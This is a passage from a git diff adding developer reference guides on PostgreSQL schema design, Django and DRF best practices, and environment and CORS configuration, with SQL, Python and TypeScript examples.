KEY, + user_id bigint NOT NULL REFERENCES users(id) ON DELETE CASCADE, + -- ... +); +CREATE INDEX idx_orders_user_id ON orders(user_id); + +-- Many-to-Many: orders ↔ products (via junction table) +CREATE TABLE order_items ( + id bigserial PRIMARY KEY, + order_id bigint NOT NULL REFERENCES orders(id) ON DELETE CASCADE, + product_id bigint NOT NULL REFERENCES products(id) ON DELETE RESTRICT, + quantity int NOT NULL CHECK (quantity > 0), + unit_price numeric(10,2) NOT NULL, + UNIQUE (order_id, product_id) -- prevent duplicate line items +); + +-- One-to-One: user → profile +CREATE TABLE user_profiles ( + user_id bigint PRIMARY KEY REFERENCES users(id) ON DELETE CASCADE, + bio text, + avatar_url text, + -- ... +); +``` + +### ON DELETE Behavior + +| Behavior | When | Example | +|----------|------|---------| +| `CASCADE` | Child meaningless without parent | order_items when order deleted | +| `RESTRICT` | Prevent accidental deletion | products referenced by order_items | +| `SET NULL` | Preserve child, clear reference | orders.assigned_to when employee leaves | +| `SET DEFAULT` | Fallback to default value | Rare, for status columns | + +--- + +## 2. Normalization vs Denormalization (CRITICAL) + +### Start Normalized (3NF) + +**Normal forms in practice:** + +| Form | Rule | Example Violation | +|------|------|-------------------| +| 1NF | No repeating groups, atomic values | `tags = "go,python,rust"` in one column | +| 2NF | No partial dependencies (composite keys) | `order_items.product_name` depends on `product_id` alone | +| 3NF | No transitive dependencies | `orders.customer_city` depends on `customer_id`, not `order_id` | + +**1NF violation fix:** +```sql +-- ❌ Tags as comma-separated string +CREATE TABLE posts (id serial, tags text); -- tags = "go,python" + +-- ✅ Separate table (or array/JSONB if simple) +CREATE TABLE post_tags ( + post_id bigint REFERENCES posts(id) ON DELETE CASCADE, + tag_id bigint REFERENCES tags(id) ON DELETE CASCADE, + PRIMARY KEY (post_id, tag_id) +); + +-- ✅ Alternative: PostgreSQL array (if tags are just strings, no metadata) +CREATE TABLE posts (id serial, tags text[] NOT NULL DEFAULT '{}'); +CREATE INDEX idx_posts_tags ON posts USING GIN(tags); +``` + +### When to Denormalize + +**Denormalize ONLY when:** +1. You have **measured** a performance problem (EXPLAIN ANALYZE, not "I think it's slow") +2. The denormalized data is **read-heavy** (read:write ratio > 100:1) +3. You accept the **consistency maintenance cost** (triggers, application logic, or materialized views) + +**Safe denormalization patterns:** + +```sql +-- Pattern 1: Materialized view (computed, refreshable) +CREATE MATERIALIZED VIEW order_summary AS +SELECT o.id, o.user_id, o.total, + COUNT(oi.id) AS item_count, + u.email AS user_email +FROM orders o +JOIN order_items oi ON oi.order_id = o.id +JOIN users u ON u.id = o.user_id +GROUP BY o.id, u.email; + +REFRESH MATERIALIZED VIEW CONCURRENTLY order_summary; -- non-blocking + +-- Pattern 2: Cached aggregate column (application-maintained) +ALTER TABLE orders ADD COLUMN item_count int NOT NULL DEFAULT 0; +-- Update via trigger or application code on order_item insert/delete + +-- Pattern 3: JSONB snapshot (freeze-at-write-time) +-- Store a copy of the product details at the time of purchase +CREATE TABLE order_items ( + id bigserial PRIMARY KEY, + order_id bigint NOT NULL REFERENCES orders(id), + product_id bigint REFERENCES products(id), + quantity int NOT NULL, + unit_price numeric(10,2) NOT NULL, -- frozen price + product_snapshot jsonb NOT NULL -- frozen name, description, image +); +``` + +--- + +## 3. Indexing Strategy (CRITICAL) + +### Index Types (PostgreSQL) + +| Type | When | Example | +|------|------|---------| +| **B-Tree** (default) | Equality, range, ORDER BY | `WHERE status = 'active'`, `WHERE created_at > '2025-01-01'` | +| **Hash** | Equality only (rare, B-Tree usually better) | `WHERE id = 123` (large tables, Postgres 10+) | +| **GIN** | Arrays, JSONB, full-text search | `WHERE tags @> '{go}'`, `WHERE data->>'key' = 'val'` | +| **GiST** | Geometry, ranges, nearest-neighbor | PostGIS, tsrange, ltree | +| **BRIN** | Very large tables with natural ordering | Time-series data sorted by timestamp | + +### Index Decision Rules + +``` +Rule 1: Index every column in WHERE clauses +Rule 2: Index every column used in JOIN ON conditions +Rule 3: Index every column in ORDER BY (if queried with LIMIT) +Rule 4: Composite index for multi-column WHERE (leftmost prefix rule) +Rule 5: Partial index when filtering a subset (e.g., only active records) +Rule 6: Covering index (INCLUDE) to avoid table lookup +Rule 7: DON'T index low-cardinality columns alone (e.g., boolean) +``` + +### Composite Index: Column Order Matters + +```sql +-- Query: WHERE user_id = ? AND status = ? ORDER BY created_at DESC +-- ✅ Optimal: matches query pattern left-to-right +CREATE INDEX idx_orders_user_status_created +ON orders(user_id, status, created_at DESC); + +-- ❌ Wrong order: can't use for this query efficiently +CREATE INDEX idx_orders_created_user_status +ON orders(created_at DESC, user_id, status); +``` + +**Leftmost prefix rule:** Index on `(A, B, C)` supports queries on `(A)`, `(A, B)`, `(A, B, C)` but NOT `(B)`, `(C)`, or `(B, C)`. + +### Partial Index (Index Only What Matters) + +```sql +-- Only 5% of orders are 'pending', but queried frequently +CREATE INDEX idx_orders_pending +ON orders(created_at DESC) +WHERE status = 'pending'; + +-- Only active users matter for login +CREATE INDEX idx_users_active_email +ON users(email) +WHERE is_active = true; +``` + +### Covering Index (Avoid Table Lookup) + +```sql +-- Query only needs id and status, no need to read the table row +CREATE INDEX idx_orders_user_covering +ON orders(user_id) INCLUDE (status, total); + +-- Now this query is index-only: +SELECT status, total FROM orders WHERE user_id = 123; +``` + +### When NOT to Index + +``` +❌ Columns rarely used in WHERE/JOIN/ORDER BY +❌ Tables with < 1,000 rows (sequential scan is faster) +❌ Columns with very low cardinality alone (e.g., boolean is_active) +❌ Write-heavy tables where index maintenance cost > read benefit +❌ Duplicate indexes (check pg_stat_user_indexes for unused indexes) +``` + +--- + +## 4. Zero-Downtime Migrations (HIGH) + +### The Golden Rule + +``` +NEVER make destructive changes in one step. +Always: ADD → MIGRATE DATA → REMOVE OLD (in separate deploys). +``` + +### Safe Migration Patterns + +**Rename a column (3 deploys):** + +``` +Deploy 1: Add new column + ALTER TABLE users ADD COLUMN full_name text; + UPDATE users SET full_name = name; -- backfill + -- App writes to BOTH name and full_name + +Deploy 2: Switch reads to new column + -- App reads from full_name, still writes to both + +Deploy 3: Drop old column + ALTER TABLE users DROP COLUMN name; + -- App only uses full_name +``` + +**Add a NOT NULL column (2 deploys):** + +```sql +-- Deploy 1: Add nullable column, backfill +ALTER TABLE orders ADD COLUMN currency text; -- nullable first +UPDATE orders SET currency = 'USD' WHERE currency IS NULL; -- backfill + +-- Deploy 2: Add constraint (after all rows backfilled) +ALTER TABLE orders ALTER COLUMN currency SET NOT NULL; +ALTER TABLE orders ALTER COLUMN currency SET DEFAULT 'USD'; +``` + +**Add an index without locking:** + +```sql +-- ✅ CONCURRENTLY: no table lock, can run on live DB +CREATE INDEX CONCURRENTLY idx_orders_status ON orders(status); + +-- ❌ Without CONCURRENTLY: locks table for writes during build +CREATE INDEX idx_orders_status ON orders(status); +``` + +### Migration Safety Checklist + +``` +✅ Migration runs in < 30 seconds on production data size +✅ No exclusive table locks (use CONCURRENTLY for indexes) +✅ Rollback plan documented and tested +✅ Backfill runs in batches (not one giant UPDATE) +✅ New column added as nullable first, constraint added later +✅ Old column kept until all code references removed + +❌ Never rename/drop columns in one deploy +❌ Never ALTER TYPE on large tables without testing timing +❌ Never run data backfill in a transaction (OOM on large tables) +``` + +### Batch Backfill Template + +```sql +-- Backfill in batches of 10,000 (avoids long-running transactions) +DO $$ +DECLARE + batch_size int := 10000; + affected int; +BEGIN + LOOP + UPDATE orders + SET currency = 'USD' + WHERE id IN ( + SELECT id FROM orders WHERE currency IS NULL LIMIT batch_size + ); + GET DIAGNOSTICS affected = ROW_COUNT; + RAISE NOTICE 'Updated % rows', affected; + EXIT WHEN affected = 0; + PERFORM pg_sleep(0.1); -- brief pause to reduce load + END LOOP; +END $$; +``` + +--- + +## 5. Multi-Tenant Design (HIGH) + +### Three Approaches + +| Approach | Isolation | Complexity | When | +|----------|-----------|------------|------| +| **Row-level** (shared tables + `tenant_id`) | Low | Low | SaaS MVP, < 1,000 tenants | +| **Schema-per-tenant** | Medium | Medium | Regulated industries, moderate scale | +| **Database-per-tenant** | High | High | Enterprise, strict data isolation | + +### Row-Level Tenancy (Most Common) + +```sql +-- Every table has tenant_id +CREATE TABLE orders ( + id bigserial PRIMARY KEY, + tenant_id bigint NOT NULL REFERENCES tenants(id), + user_id bigint NOT NULL REFERENCES users(id), + total numeric(10,2) NOT NULL, + -- ... +); + +-- Composite index: tenant first (most queries filter by tenant) +CREATE INDEX idx_orders_tenant_user ON orders(tenant_id, user_id); +CREATE INDEX idx_orders_tenant_status ON orders(tenant_id, status); + +-- Row-Level Security (PostgreSQL) +ALTER TABLE orders ENABLE ROW LEVEL SECURITY; +CREATE POLICY tenant_isolation ON orders + USING (tenant_id = current_setting('app.tenant_id')::bigint); +``` + +**Application-level enforcement:** + +```typescript +// Middleware: set tenant context on every request +app.use((req, res, next) => { + const tenantId = req.headers['x-tenant-id']; + if (!tenantId) return res.status(400).json({ error: 'Missing tenant' }); + req.tenantId = tenantId; + next(); +}); + +// Repository: ALWAYS filter by tenant +async findOrders(tenantId: string, userId: string) { + return db.order.findMany({ + where: { tenantId, userId }, // ← tenant_id in EVERY query + }); +} +``` + +### Rules + +``` +✅ tenant_id in EVERY table that holds tenant data +✅ tenant_id as FIRST column in every composite index +✅ Application middleware enforces tenant context +✅ Use RLS (PostgreSQL) as defense-in-depth, not sole protection +✅ Test with 2+ tenants to verify isolation + +❌ Never allow cross-tenant queries in application code +❌ Never skip tenant_id in WHERE clauses (even in admin tools) +``` + +--- + +## 6. Common Schema Patterns (MEDIUM) + +### Soft Delete + +```sql +ALTER TABLE orders ADD COLUMN deleted_at timestamptz; + +-- All queries filter deleted records +CREATE VIEW active_orders AS +SELECT * FROM orders WHERE deleted_at IS NULL; + +-- Partial index: only index non-deleted rows +CREATE INDEX idx_orders_active_status +ON orders(status, created_at DESC) +WHERE deleted_at IS NULL; +``` + +**ORM integration:** + +```typescript +// Prisma middleware: auto-filter soft-deleted records +prisma.$use(async (params, next) => { + if (params.action === 'findMany' || params.action === 'findFirst') { + params.args.where = { ...params.args.where, deletedAt: null }; + } + return next(params); +}); +``` + +### Audit Trail + +```sql +-- Option A: Audit columns on every table +ALTER TABLE orders ADD COLUMN created_by bigint REFERENCES users(id); +ALTER TABLE orders ADD COLUMN updated_by bigint REFERENCES users(id); + +-- Option B: Separate audit log table (more detail) +CREATE TABLE audit_log ( + id bigserial PRIMARY KEY, + table_name text NOT NULL, + record_id bigint NOT NULL, + action text NOT NULL CHECK (action IN ('INSERT', 'UPDATE', 'DELETE')), + old_data jsonb, + new_data jsonb, + changed_by bigint REFERENCES users(id), + changed_at timestamptz NOT NULL DEFAULT now() +); +CREATE INDEX idx_audit_table_record ON audit_log(table_name, record_id); +CREATE INDEX idx_audit_changed_at ON audit_log(changed_at DESC); +``` + +### Enum Columns + +```sql +-- Option A: PostgreSQL enum type (strict, but ALTER TYPE is painful) +CREATE TYPE order_status AS ENUM ('pending', 'confirmed', 'shipped', 'delivered', 'cancelled'); +ALTER TABLE orders ADD COLUMN status order_status NOT NULL DEFAULT 'pending'; + +-- Option B: Text + CHECK constraint (easier to migrate) +ALTER TABLE orders ADD COLUMN status text NOT NULL DEFAULT 'pending' + CHECK (status IN ('pending', 'confirmed', 'shipped', 'delivered', 'cancelled')); + +-- Option C: Lookup table (most flexible, best for UI-driven lists) +CREATE TABLE order_statuses ( + id serial PRIMARY KEY, + name text UNIQUE NOT NULL, + label text NOT NULL -- display name +); +``` + +**Recommendation:** Option B (text + CHECK) for most cases. Option C if statuses are managed by non-developers. + +### Polymorphic Associations + +```sql +-- ❌ Anti-pattern: polymorphic FK (no referential integrity) +CREATE TABLE comments ( + id bigserial PRIMARY KEY, + commentable_type text, -- 'Post' or 'Photo' + commentable_id bigint, -- no FK constraint possible! + body text +); + +-- ✅ Pattern A: Separate FK columns (nullable) +CREATE TABLE comments ( + id bigserial PRIMARY KEY, + post_id bigint REFERENCES posts(id) ON DELETE CASCADE, + photo_id bigint REFERENCES photos(id) ON DELETE CASCADE, + body text NOT NULL, + CHECK ( + (post_id IS NOT NULL AND photo_id IS NULL) OR + (post_id IS NULL AND photo_id IS NOT NULL) + ) +); + +-- ✅ Pattern B: Separate tables (cleanest, best for different schemas) +CREATE TABLE post_comments (..., post_id bigint REFERENCES posts(id)); +CREATE TABLE photo_comments (..., photo_id bigint REFERENCES photos(id)); +``` + +### JSONB Columns (Semi-Structured Data) + +```sql +-- Good uses: metadata, settings, flexible attributes +CREATE TABLE products ( + id bigserial PRIMARY KEY, + name text NOT NULL, + price numeric(10,2) NOT NULL, + attributes jsonb NOT NULL DEFAULT '{}' -- color, size, weight... +); + +-- Index for JSONB queries +CREATE INDEX idx_products_attrs ON products USING GIN(attributes); + +-- Query +SELECT * FROM products WHERE attributes->>'color' = 'red'; +SELECT * FROM products WHERE attributes @> '{"size": "XL"}'; +``` + +``` +✅ Use JSONB for truly flexible/optional data (metadata, settings, preferences) +✅ Index JSONB columns with GIN when queried + +❌ Never use JSONB for data that should be columns (email, status, price) +❌ Never use JSONB to avoid schema design (it's not MongoDB-in-Postgres) +``` + +--- + +## 7. Table Partitioning (MEDIUM) + +### When to Partition + +``` +✅ Table > 100M rows AND growing +✅ Most queries filter on the partition key (date range, tenant) +✅ Old data can be dropped/archived by partition (efficient DELETE) + +❌ Table < 10M rows (overhead not worth it) +❌ Queries don't filter on partition key (scans all partitions) +``` + +### Range Partitioning (Time-Series) + +```sql +CREATE TABLE events ( + id bigserial, + tenant_id bigint NOT NULL, + event_type text NOT NULL, + payload jsonb, + created_at timestamptz NOT NULL DEFAULT now() +) PARTITION BY RANGE (created_at); + +-- Monthly partitions +CREATE TABLE events_2025_01 PARTITION OF events + FOR VALUES FROM ('2025-01-01') TO ('2025-02-01'); +CREATE TABLE events_2025_02 PARTITION OF events + FOR VALUES FROM ('2025-02-01') TO ('2025-03-01'); + +-- Automate partition creation with pg_partman or cron +``` + +### List Partitioning (Multi-Tenant) + +```sql +CREATE TABLE orders ( + id bigserial, + tenant_id bigint NOT NULL, + total numeric(10,2) +) PARTITION BY LIST (tenant_id); + +CREATE TABLE orders_tenant_1 PARTITION OF orders FOR VALUES IN (1); +CREATE TABLE orders_tenant_2 PARTITION OF orders FOR VALUES IN (2); +``` + +--- + +## Anti-Patterns + +| # | ❌ Don't | ✅ Do Instead | +|---|---------|--------------| +| 1 | Premature denormalization | Start 3NF, denormalize when measured | +| 2 | Auto-increment IDs as public API identifiers | UUID for public, serial for internal | +| 3 | No foreign key constraints | FK enforced in database, always | +| 4 | Nullable by default | NOT NULL by default, nullable when required | +| 5 | No indexes on FK columns | Index every FK column | +| 6 | Single-step destructive migration | ADD → MIGRATE → REMOVE in separate deploys | +| 7 | `CREATE INDEX` without `CONCURRENTLY` | Always `CONCURRENTLY` on live tables | +| 8 | Polymorphic FK (`commentable_type + commentable_id`) | Separate FK columns or separate tables | +| 9 | JSONB for everything | JSONB for flexible data only, columns for structured | +| 10 | No `created_at` / `updated_at` | Timestamp pair on every table | +| 11 | Comma-separated values in one column | Separate table or PostgreSQL array | +| 12 | `text` without length validation | CHECK constraint or application validation | + +--- + +## Common Issues + +### Issue 1: "Query is slow but I already have an index" + +**Symptom:** `EXPLAIN ANALYZE` shows Sequential Scan despite existing index. + +**Causes:** +1. **Wrong index column order** — composite index `(A, B)` won't help `WHERE B = ?` +2. **Low selectivity** — index on boolean column (50% of rows match), planner prefers seq scan +3. **Stale statistics** — run `ANALYZE table_name;` +4. **Type mismatch** — comparing `varchar` column with `integer` parameter → no index use + +**Fix:** Check `EXPLAIN (ANALYZE, BUFFERS)`, verify index matches query pattern, run `ANALYZE`. + +### Issue 2: "Migration locks the table for minutes" + +**Symptom:** `ALTER TABLE` blocks all writes during execution. + +**Cause:** Adding NOT NULL constraint, changing column type, or creating index without `CONCURRENTLY`. + +**Fix:** +```sql +-- Add index without lock +CREATE INDEX CONCURRENTLY idx_name ON table(col); + +-- Add NOT NULL constraint without lock (Postgres 12+) +ALTER TABLE t ADD CONSTRAINT t_col_nn CHECK (col IS NOT NULL) NOT VALID; +ALTER TABLE t VALIDATE CONSTRAINT t_col_nn; -- non-blocking validation +``` + +### Issue 3: "How many indexes is too many?" + +**Rule of thumb:** +- Read-heavy table (reports, product catalog): 5-10 indexes is fine +- Write-heavy table (events, logs): 2-3 indexes max +- Monitor with `pg_stat_user_indexes` — drop indexes with `idx_scan = 0` + +```sql +-- Find unused indexes +SELECT schemaname, relname, indexrelname, idx_scan +FROM pg_stat_user_indexes +WHERE idx_scan = 0 AND indexrelname NOT LIKE '%pkey%' +ORDER BY pg_relation_size(indexrelid) DESC; +``` diff --git a/skills/fullstack-dev/references/django-best-practices.md b/skills/fullstack-dev/references/django-best-practices.md new file mode 100644 index 0000000..6c1ce6b --- /dev/null +++ b/skills/fullstack-dev/references/django-best-practices.md @@ -0,0 +1,466 @@ +# Django Best Practices + +Production-grade guide for Django 5.x and Django REST Framework. 40+ rules across 8 categories. + +## Core Principles (7 Rules) + +``` +1. ✅ Custom User model BEFORE first migration (can't change later) +2. ✅ One Django app per domain concept (users, orders, payments) +3. ✅ Fat models, thin views — business logic in models/managers, not views +4. ✅ Always use select_related/prefetch_related (prevent N+1) +5. ✅ Settings split by environment (base + dev + prod) +6. ✅ Test with pytest-django + factory_boy (not fixtures) +7. ✅ Never use runserver in production (Gunicorn + Nginx) +``` + +--- + +## 1. Project Structure (CRITICAL) + +### App-Per-Domain + +``` +myproject/ +├── config/ # Project config +│ ├── __init__.py +│ ├── settings/ +│ │ ├── base.py # Shared settings +│ │ ├── dev.py # DEBUG=True, SQLite ok +│ │ └── prod.py # DEBUG=False, Postgres, HTTPS +│ ├── urls.py +│ ├── wsgi.py +│ └── asgi.py +├── apps/ +│ ├── users/ # Custom User model +│ │ ├── models.py +│ │ ├── serializers.py +│ │ ├── views.py +│ │ ├── urls.py +│ │ ├── admin.py +│ │ ├── services.py # Business logic +│ │ ├── selectors.py # Complex queries +│ │ └── tests/ +│ │ ├── test_models.py +│ │ ├── test_views.py +│ │ └── factories.py +│ ├── orders/ +│ └── payments/ +├── manage.py +├── requirements/ +│ ├── base.txt +│ ├── dev.txt +│ └── prod.txt +└── docker-compose.yml +``` + +### Rules + +``` +✅ One app = one bounded context (users, orders, payments) +✅ Business logic in services.py / selectors.py, not views +✅ Each app has its own urls.py, admin.py, tests/ + +❌ Never put everything in one app +❌ Never import across app boundaries at the model level (use IDs) +❌ Never put business logic in views or serializers +``` + +--- + +## 2. Models & Migrations (CRITICAL) + +### Custom User Model (Day 1!) + +```python +# apps/users/models.py +from django.contrib.auth.models import AbstractUser +from django.db import models +import uuid + +class User(AbstractUser): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + email = models.EmailField(unique=True) + + USERNAME_FIELD = 'email' + REQUIRED_FIELDS = ['username'] + + class Meta: + db_table = 'users' + +# config/settings/base.py +AUTH_USER_MODEL = 'users.User' +``` + +**This MUST be done before `migrate`. Cannot change after.** + +### Model Best Practices + +```python +class TimeStampedModel(models.Model): + created_at = models.DateTimeField(auto_now_add=True) + updated_at = models.DateTimeField(auto_now=True) + class Meta: + abstract = True + +class Order(TimeStampedModel): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE, related_name='orders') + status = models.CharField(max_length=20, choices=OrderStatus.choices, default=OrderStatus.PENDING, db_index=True) + total = models.DecimalField(max_digits=10, decimal_places=2) + + class Meta: + db_table = 'orders' + ordering = ['-created_at'] + indexes = [ + models.Index(fields=['user', 'status']), + ] + + def can_cancel(self) -> bool: + return self.status in [OrderStatus.PENDING, OrderStatus.CONFIRMED] + + def cancel(self): + if not self.can_cancel(): + raise ValueError(f"Cannot cancel order in {self.status} status") + self.status = OrderStatus.CANCELLED + self.save(update_fields=['status', 'updated_at']) +``` + +### Migration Rules + +``` +✅ Review migration SQL: python manage.py sqlmigrate app_name 0001 +✅ Name migrations descriptively: --name add_status_index_to_orders +✅ Separate data migrations from schema migrations +✅ Non-destructive first: add column → backfill → remove old column + +❌ Never edit or delete applied migrations +❌ Never use RunPython without reverse function +``` + +--- + +## 3. Views & Serializers — DRF (HIGH) + +### Service Layer Pattern + +```python +# apps/orders/services.py +from django.db import transaction + +class OrderService: + @staticmethod + @transaction.atomic + def create_order(user, items_data: list[dict]) -> Order: + total = sum(item['price'] * item['quantity'] for item in items_data) + order = Order.objects.create(user=user, total=total) + OrderItem.objects.bulk_create([ + OrderItem(order=order, **item) for item in items_data + ]) + return order + + @staticmethod + def cancel_order(order_id: str, user) -> Order: + order = Order.objects.select_for_update().get(id=order_id, user=user) + order.cancel() + return order +``` + +### Serializers + +```python +class OrderSerializer(serializers.ModelSerializer): + items = OrderItemSerializer(many=True, read_only=True) + class Meta: + model = Order + fields = ['id', 'status', 'total', 'items', 'created_at'] + read_only_fields = ['id', 'total', 'created_at'] + +class CreateOrderSerializer(serializers.Serializer): + """Input-only serializer — separate from output.""" + items = serializers.ListField( + child=serializers.DictField(), min_length=1, max_length=50, + ) + def validate_items(self, items): + for item in items: + if item.get('quantity', 0) < 1: + raise serializers.ValidationError("Quantity must be at least 1") + return items +``` + +### Views (Thin!) + +```python +@api_view(['POST']) +@permission_classes([IsAuthenticated]) +def create_order(request): + serializer = CreateOrderSerializer(data=request.data) + serializer.is_valid(raise_exception=True) + order = OrderService.create_order(request.user, serializer.validated_data['items']) + return Response({'data': OrderSerializer(order).data}, status=status.HTTP_201_CREATED) +``` + +### Rules + +``` +✅ Separate input serializers from output serializers +✅ Views only: validate → call service → serialize → respond +✅ Use @transaction.atomic for multi-model writes + +❌ Never put business logic in views or serializers +❌ Never use ModelSerializer for write operations (too implicit) +``` + +--- + +## 4. Authentication (HIGH) + +| Method | When | Frontend | +|--------|------|----------| +| Session | Same-domain, SSR, Django templates | Django templates / htmx | +| JWT | Different domain, SPA, mobile | React, Vue, mobile apps | +| OAuth2 | Third-party login, API consumers | Any | + +### JWT Config (djangorestframework-simplejwt) + +```python +SIMPLE_JWT = { + 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=15), + 'REFRESH_TOKEN_LIFETIME': timedelta(days=7), + 'ROTATE_REFRESH_TOKENS': True, + 'BLACKLIST_AFTER_ROTATION': True, +} +``` + +--- + +## 5. Performance Optimization (HIGH) + +### N+1 Query Prevention + +```python +# ❌ N+1: 1 query for orders + N queries for users +orders = Order.objects.all() +for o in orders: + print(o.user.email) # hits DB each iteration + +# ✅ select_related (FK/OneToOne — JOIN) +orders = Order.objects.select_related('user').all() + +# ✅ prefetch_related (ManyToMany/reverse FK — 2 queries) +orders = Order.objects.prefetch_related('items').all() + +# ✅ Combined +orders = Order.objects.select_related('user').prefetch_related('items').all() +``` + +### Query Optimization Toolkit + +```python +# Only fetch needed columns +User.objects.values('id', 'email') +User.objects.values_list('email', flat=True) + +# Annotate instead of Python loops +from django.db.models import Count, Sum +Order.objects.annotate(item_count=Count('items'), revenue=Sum('items__price')) + +# Bulk operations +OrderItem.objects.bulk_create([...]) +Order.objects.filter(status='pending').update(status='cancelled') + +# Database indexes +class Meta: + indexes = [ + models.Index(fields=['user', 'status']), + models.Index(fields=['-created_at']), + models.Index(fields=['email'], condition=Q(is_active=True)), + ] + +# Pagination +from rest_framework.pagination import CursorPagination +class OrderPagination(CursorPagination): + page_size = 20 + ordering = '-created_at' +``` + +### Caching + +```python +from django.core.cache import cache + +def get_product(product_id: str): + cache_key = f'product:{product_id}' + product = cache.get(cache_key) + if product is None: + product = Product.objects.get(id=product_id) + cache.set(cache_key, product, timeout=300) + return product +``` + +--- + +## 6. Testing (MEDIUM-HIGH) + +### pytest-django + factory_boy + +```python +# conftest.py +@pytest.fixture +def api_client(): + return APIClient() + +@pytest.fixture +def authenticated_client(api_client, user_factory): + user = user_factory() + api_client.force_authenticate(user=user) + return api_client +``` + +```python +# factories.py +class UserFactory(factory.django.DjangoModelFactory): + class Meta: + model = User + email = factory.Sequence(lambda n: f'user{n}@example.com') + username = factory.Sequence(lambda n: f'user{n}') + +class OrderFactory(factory.django.DjangoModelFactory): + class Meta: + model = 'orders.Order' + user = factory.SubFactory(UserFactory) + total = factory.Faker('pydecimal', left_digits=3, right_digits=2, positive=True) +``` + +```python +# test_views.py +@pytest.mark.django_db +class TestListOrders: + def test_returns_user_orders(self, authenticated_client): + OrderFactory.create_batch(3, user=authenticated_client.handler._force_user) + response = authenticated_client.get('/api/orders/') + assert response.status_code == 200 + assert len(response.data['data']) == 3 + + def test_requires_authentication(self, api_client): + response = api_client.get('/api/orders/') + assert response.status_code == 401 +``` + +--- + +## 7. Admin Customization (MEDIUM) + +```python +class OrderItemInline(admin.TabularInline): + model = OrderItem + extra = 0 + readonly_fields = ['price'] + +@admin.register(Order) +class OrderAdmin(admin.ModelAdmin): + list_display = ['id', 'user', 'status', 'total', 'created_at'] + list_filter = ['status', 'created_at'] + search_fields = ['user__email', 'id'] + readonly_fields = ['id', 'created_at', 'updated_at'] + inlines = [OrderItemInline] + date_hierarchy = 'created_at' + + def get_queryset(self, request): + return super().get_queryset(request).select_related('user') +``` + +--- + +## 8. Production Deployment (MEDIUM) + +### Security Settings + +```python +# settings/prod.py +DEBUG = False +ALLOWED_HOSTS = ['example.com', 'www.example.com'] +CSRF_TRUSTED_ORIGINS = ['https://example.com'] +SECURE_SSL_REDIRECT = True +SESSION_COOKIE_SECURE = True +CSRF_COOKIE_SECURE = True +SECURE_HSTS_SECONDS = 31536000 +``` + +### Deployment Stack + +``` +Nginx → Gunicorn → Django + ↕ + PostgreSQL + Redis (cache) + ↕ + Celery (background tasks) +``` + +```bash +gunicorn config.wsgi:application \ + --bind 0.0.0.0:8000 \ + --workers 4 \ + --timeout 120 \ + --access-logfile - +``` + +### WhiteNoise for Static Files + +```python +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'whitenoise.middleware.WhiteNoiseMiddleware', # right after Security + ... +] +STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage' +``` + +### Rules + +``` +✅ Gunicorn + Nginx (or Cloud Run / Railway) +✅ PostgreSQL (not SQLite) +✅ python manage.py check --deploy +✅ Sentry for error tracking + +❌ Never use runserver in production +❌ Never use DEBUG=True in production +❌ Never use SQLite in production +``` + +--- + +## Anti-Patterns + +| # | ❌ Don't | ✅ Do Instead | +|---|---------|--------------| +| 1 | Business logic in views | Service layer (`services.py`) | +| 2 | One giant app | App-per-domain | +| 3 | Default User model | Custom User before first migrate | +| 4 | No `select_related` | Always eager-load related objects | +| 5 | Django fixtures for tests | `factory_boy` factories | +| 6 | `settings.py` single file | Split: base + dev + prod | +| 7 | `runserver` in production | Gunicorn + Nginx | +| 8 | SQLite in production | PostgreSQL | +| 9 | `ModelSerializer` for writes | Explicit input serializer | +| 10 | Raw SQL in views | ORM querysets + `selectors.py` | + +--- + +## Common Issues + +### Issue 1: "Can't change User model after first migration" + +**Fix:** If starting fresh: delete all migrations + DB, set custom User, re-migrate. If data exists: complex migration (use `django-allauth` or incremental field migration). + +### Issue 2: "Serializer is too slow on large querysets" + +**Fix:** Missing `select_related` / `prefetch_related` → N+1 queries. +```python +queryset = Order.objects.select_related('user').prefetch_related('items') +``` + +### Issue 3: "Circular import between apps" + +**Fix:** Use string references: `models.ForeignKey('orders.Order', ...)` instead of importing the model class. For services, import inside the function. diff --git a/skills/fullstack-dev/references/environment-management.md b/skills/fullstack-dev/references/environment-management.md new file mode 100644 index 0000000..8709992 --- /dev/null +++ b/skills/fullstack-dev/references/environment-management.md @@ -0,0 +1,78 @@ +# Environment & CORS Management + +Patterns for managing environment variables, API URLs, and CORS configuration across frontend and backend stacks. + +--- + +## Standard Environment Pattern + +``` +# .env.local (gitignored, for local dev) +NEXT_PUBLIC_API_URL=http://localhost:3001 +NEXT_PUBLIC_WS_URL=ws://localhost:3001 + +# Staging (set in Vercel/CI) +NEXT_PUBLIC_API_URL=https://api-staging.example.com + +# Production (set in Vercel/CI) +NEXT_PUBLIC_API_URL=https://api.example.com +``` + +--- + +## Environment Variable Rules + +``` +✅ API base URL from environment variable — NEVER hardcoded +✅ Prefix client-side vars with NEXT_PUBLIC_ (Next.js) or VITE_ (Vite) +✅ Backend URL = server-only env var (for SSR calls, not exposed to browser) +✅ CORS on backend: explicit list of allowed origins per environment + +❌ Never use localhost URLs in production builds +❌ Never expose backend-only secrets with NEXT_PUBLIC_ prefix +❌ Never commit .env.local (commit .env.example with placeholders) +``` + +--- + +## CORS Configuration + +```typescript +// Backend: environment-aware CORS +const ALLOWED_ORIGINS = { + development: ['http://localhost:3000', 'http://localhost:5173'], + staging: ['https://staging.example.com'], + production: ['https://example.com', 'https://www.example.com'], +}; + +app.use(cors({ + origin: ALLOWED_ORIGINS[process.env.NODE_ENV || 'development'], + credentials: true, // needed for cookies (auth) + methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'], +})); +``` + +--- + +## Common Issues + +### Issue 1: "CORS error in browser but works in Postman" + +**Cause:** CORS is a browser security feature. Postman/curl skip it. + +**Fix:** +1. Backend must return `Access-Control-Allow-Origin: https://your-frontend.com` +2. For cookies/auth: `credentials: true` on both sides +3. Check that preflight `OPTIONS` request returns correct headers + +### Issue 2: "Environment variable undefined in browser" + +**Cause:** Missing `NEXT_PUBLIC_` or `VITE_` prefix for client-side access. + +**Fix:** Client-side vars MUST have the framework prefix. Rebuild after adding new env vars (they are embedded at build time). + +### Issue 3: "Works locally, fails in staging" + +**Cause:** Different origins, missing CORS config for staging domain. + +**Fix:** Add staging origin to `ALLOWED_ORIGINS`, verify env vars are set in deployment platform. diff --git a/skills/fullstack-dev/references/release-checklist.md 